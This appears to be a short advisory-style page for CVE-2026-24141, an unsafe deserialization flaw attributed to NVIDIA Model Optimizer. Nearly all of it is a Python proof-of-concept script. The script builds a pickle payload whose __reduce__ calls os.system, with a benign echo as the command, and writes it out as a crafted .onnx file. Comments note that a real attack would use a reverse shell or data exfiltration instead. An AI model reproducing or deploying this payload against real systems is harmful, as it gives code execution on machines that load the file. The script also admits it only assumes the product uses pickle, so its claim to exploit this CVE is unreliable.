CVE-2026-24141 NVIDIA Model Optimizer不安全反序列化漏洞

import pickle import os # Conceptual Proof of Concept (PoC) for CVE-2026-24141 # This script demonstrates the creation of a payload that triggers # unsafe deserialization, assuming the underlying mechanism is pickle-based # or similar vulnerable serialization format used by the ONNX quantization feature. class ExploitClass: def __reduce__(self): # The command to execute (e.g., opening calculator as a benign proof) # In an attack scenario, this would be a reverse shell or data exfiltration script. return (os.system, ('echo "Vulnerable to Unsafe Deserialization"',)) # Serialize the malicious object malicious_data = pickle.dumps(ExploitClass()) # Simulate saving this data into a crafted ONNX file structure # The attacker would need to wrap this data appropriately to pass initial parsing # and reach the vulnerable deserialization routine. filename = "crafted_exploit_input.onnx" with open(filename, "wb") as f: f.write(malicious_data) print(f"[+] Generated PoC file: {filename}") print("[+] If processed by the vulnerable NVIDIA Model Optimizer, code execution may occur.")